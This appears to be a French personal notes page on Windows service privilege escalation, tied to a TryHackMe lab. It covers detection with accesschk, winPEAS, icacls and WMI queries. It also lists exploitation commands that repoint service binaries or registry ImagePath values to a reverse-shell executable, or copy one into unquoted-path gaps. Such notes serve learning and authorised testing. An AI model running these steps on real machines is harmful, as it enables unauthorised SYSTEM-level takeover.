Skip to content

Services

Détails de Recherche de vecteur d'escalade via des services : [[Weak Permissions]]

Exercices détaillant de nombreuses méthodes de privesc : https://tryhackme.com/room/windows10privesc

Trouver un service vulnérable (automatique)

WinPeas identifie tous les services vulnérables.

Il faut regarder les sections suivantes :

# Information sur les services
===============(Services Information)=============

# Information sur les Applications (à recouper avec les chemin d'accès des services)
===========(Applications Information)================

Permissions de modifier un service

Si on peut modifier un service, on pourra remplacer le processus lancé par un reverse shell.

Detection

Manuelle

accesschk -accepteula -quwc daclsvc
daclsvc
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  RW Everyone                          <====================

Automatique

Dans les résultats de la commande .\winPEASany.exe quiet servicesinfo applicationsinfo :

===============(Services Information)=============
 daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped
    YOU CAN MODIFY THIS SERVICE: WriteData/CreateFiles       <=====

Exploitation

# Changement du path du service
net stop daclsvc
sc config daclsvc binpath= "\"C:\Windows\Temp\reverse.exe\""
net start daclsvc

Unquoted service path

Détection

Manuelle

Enuméré les services, et selectioner ceux qui ne commencent pas par des guillemets.

Exemple avec le path : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

# vérification avec icacls des différent chemins exploitables
"C:\Program Files\Unquoted Path Service\Common.exe"
"C:\Program Files\Unquoted.exe"
"C:\Program.exe"

# tenter de créer un fichier :
echo "test" > "C:\Program Files\Unquoted Path Service\Common.exe"
del "C:\Program Files\Unquoted Path Service\Common.exe"
# si pas d'erreur alors c'est exploitable

Remarque : On doit pouvoir le faire avec icacls ou accesschk.exe mais je n'ai pas pris le temps de creuser pour obtenir une méthode fiable.

Automatique

===============(Services Information)=============
[...]
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - 
No quotes and Space detected
   =================================================================================================                                <=====
[...]

=========(Applications Information)=======
[...]
C:\Program Files\Unquoted Path Service(Users [AllAccess])       <====
[...]

Exploitation

copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
net stop unquotedsvc
net start unquotedsvc

Weak registry permissions

Detection

Manuelle

# trouver un groupe dont on est membre dans la liste fournie par la commande :
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Automatique

==============(Services Information)===============
[...]
 LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
 daclsvc: WriteData/CreateFiles

Exploitation

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
net start regsvc

Insecure service Executable

Detection

Manuelle

accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Automatique


Exploitation

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

net start filepermsvc

Trouver un service vulnérable (manuel)

Lister les services

Lorsqu'on liste les service, on recherche en priorité des chemins d'accès atypiques qui potentiellement seront moins bien conçus que les services natif au système d'exploitation :

Hors du dossier c:\windows

get-wmiobject win32_service | select name,state, startmode,pathname,StartName | ?{$_.StartName -eq "LocalSystem" -and $_.pathname -notlike "c:\Windows\*" }| Sort PathName |ft
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

Tous les services

get-wmiobject win32_service | select name,state, startmode,pathname,StartName | ?{$_.StartName -eq "LocalSystem" -and $_.pathname -notlike "C:\Windows\system32\svchost.exe *" }| Sort PathName |ft

Regardes les permissions

Droits de modification d'éléments dans le path

Prenons l'exemple du service suivant :

C:\Program Files\Super Vendor\Great Product\superservice.exe

On cherchera si on peut créer les exécutables suivants :

  • C:\Program Files\Super Vendor\Great.exe
  • C:\Program Files\Super.exe
  • C:\Program.exe

On vérifie donc les permission sur les dossiers parents de ces fichier potentiels :

# REMARQUE : pour les dossiers, il ne faut pas ajouter de "\" à la fin !
icacls "C:\Program Files\Super Vendor"
icacls "C:\Program Files"
icacls "C:\"

Exemple de permissions :

# peut créer des Dossiers MAIS PAS des fichiers
CREATOR OWNER:(OI)(CI)(IO)(F) 
# peut créer des dossiers ET des fichiers !! (exploitable)

CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Unquoted service path

Pour ce type de mauvaise configuration, on cherchera des services dont le chemin d'accès :

  • n'est pas entouré de "doubles quotes" (guillemets)
  • contient des dossier contenant des espaces dans leur nom

Services en dehors de c:\windows\system32

# démarrés ou non
get-wmiobject win32_service | select name,state, startmode,pathname,StartName | ?{$_.StartName -eq "LocalSystem" -and $_.pathname -notlike "c:\Windows\System32\*" }|ft


# Rechercher des chemins d'accès atypiques 
get-wmiobject win32_service | select name,state, startmode,pathname,StartName |?{$_.State -like 'Running'}|Sort StartName | ft


# Liste des services sans ceux dans c:\windows :
get-wmiobject win32_service | select name,state,pathname |?{$_.State -like 'Running'} |? {$_.Pathname -notmatch 'c:\\Windows\\.*' }

# Vérifier les permissions
> icacls 'C:\Program Files\Ext2Fsd\Ext2Srv.exe'
C:\Program Files\Ext2Fsd\Ext2Srv.exe AUTORITE NT\Système:(I)(F)
                                     BUILTIN\Administrateurs:(I)(F)
                                     BUILTIN\Utilisateurs:(I)(RX)
                                     AUTORITÉ DE PACKAGE DAPPLICATION\TOUS LES PACKAGES DAPPLICATION:(I)(RX)
                                     AUTORITÉ DE PACKAGE DAPPLICATION\TOUS LES PACKAGES DAPPLICATION RESTREINTS:(I)(RX)

Documentation icacls

  • A sequence of simple rights (basic permissions):
    • F - Full access
    • M - Modify access
    • RX - Read and execute access
    • R - Read-only access
    • W - Write-only access
  • Inheritance rights may precede either <perm> form:
    • (I) - Inherit. ACE inherited from the parent container.
    • (OI)** - Object inherit. Objects in this container will inherit this ACE. Applies only to directories.
    • (CI) - Container inherit. Containers in this parent container will inherit this ACE. Applies only to directories.
    • (IO) - Inherit only. ACE inherited from the parent container, but does not apply to the object itself. Applies only to directories.
    • (NP) - Do not propagate inherit. ACE inherited by containers and objects from the parent container, but does not propagate to nested containers. Applies only to directories.